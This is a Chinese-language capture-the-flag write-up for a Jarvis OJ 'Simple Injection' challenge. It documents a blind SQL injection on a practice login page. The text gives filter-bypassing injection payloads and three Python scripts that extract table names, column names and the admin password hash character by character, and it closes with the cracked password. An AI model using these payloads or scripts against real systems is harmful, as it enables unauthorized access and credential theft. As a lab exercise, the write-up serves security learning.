Writeup Simple Injection
Jarvis OJ中web题——Simple Injection
题目链接:http://web.jarvisoj.com:32787/login.php
0x00 分析
如题目所言,这是个SQL注入,且是个盲注。
初步探测:username=admin password=123456 提示密码错误;username=admin123 password=123456 提示用户名错误。
发现用户名和密码出错有着不同的提示信息,可以猜测后台对用户名和密码是分步验证的,且已确定一个合法用户名admin。
尝试构造:username=admin' and 1# password=123456 提示用户名错误,调试后发现空格被过滤。
可以用注释符/**/替换空格,再构造:username=admin'/**/and/**/1# password=123456 提示密码错误,说明注入成功
接下来就可以愉快的暴库爆表爆字段了。
0x01 注入
以下payload省略password。
payload1: username = admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))>1#
使用二分法可以快速确定length(group_concat(distinct table_name))=5。
知道长度后接下来就可以开始确定具体内容,手工比较麻烦,用python写个脚本:
import requests
if __name__ == '__main__':
url = 'http://web.jarvisoj.com:32787/login.php'
# username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
for i in range(5):
for num in range(44, 123):
# 偷懒,直接遍历,不用二分法了。
username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
data = {
'username': username,
'password': '123'
}
html = requests.post(url, data=data)
if len(html.text)==1191: # 密码错误时响应内容长度为1191
print(chr(num), end='')
break
得到当前库中只有一张admin表。
获取admin表中的字段名,与上面类似。
payload3: username=admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))>1#
使用二分法可以快速确定length(group_concat(distinct column_name))=20。
上面的代码稍微改改,获取字段内容:
import requests
if __name__ == '__main__':
url = 'http://web.jarvisoj.com:32787/login.php'
# username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
for i in range(20):
for num in range(44, 123):
# 偷懒,直接遍历,不用二分法了。
# username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
# username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))=20#"
username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'),"+str(i+1)+",1))=" + str(num) + "#"
data = {
'username': username,
'password': '123'
}
html = requests.post(url, data=data)
if len(html.text)==1191: # 密码错误时响应内容长度为1191
print(chr(num), end='')
break
<!-- endtab -->
接着获取password字段,同样的方法确定len(password)=32,估计是个md5值,大同小异的代码:
import requests
if __name__ == '__main__':
url = 'http://web.jarvisoj.com:32787/login.php'
# username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()))=5#"
for i in range(32):
for num in range(44, 123):
# 偷懒,直接遍历,不用二分法了。
# username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),"+str(i+1)+",1))="+str(num)+"#"
# username = "admin'/**/and/**/length((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'))=20#"
# username = "admin'/**/and/**/ascii(substr((select/**/group_concat(distinct/**/column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='admin'),"+str(i+1)+",1))=" + str(num) + "#"
# username = "admin'/**/and/**/length((select/**/password/**/from/**/admin))=32#"
username = "admin'/**/and/**/ascii(substr((select/**/password/**/from/**/admin),"+str(i+1)+",1))="+str(num)+"#"
data = {
'username': username,
'password': '123'
}
html = requests.post(url, data=data)
if len(html.text)==1191: # 密码错误时响应内容长度为1191
print(chr(num), end='')
break
得到password = 334cfb59c9d74849801d5acdcfdaadc3,MD5解密可得到admin账户的登入密码 eTAloCrEP(那个
username中也就一个admin用户),不过现在这个md5好像成为付费的了╮(╯▽╰)╭
登陆后即可看到flag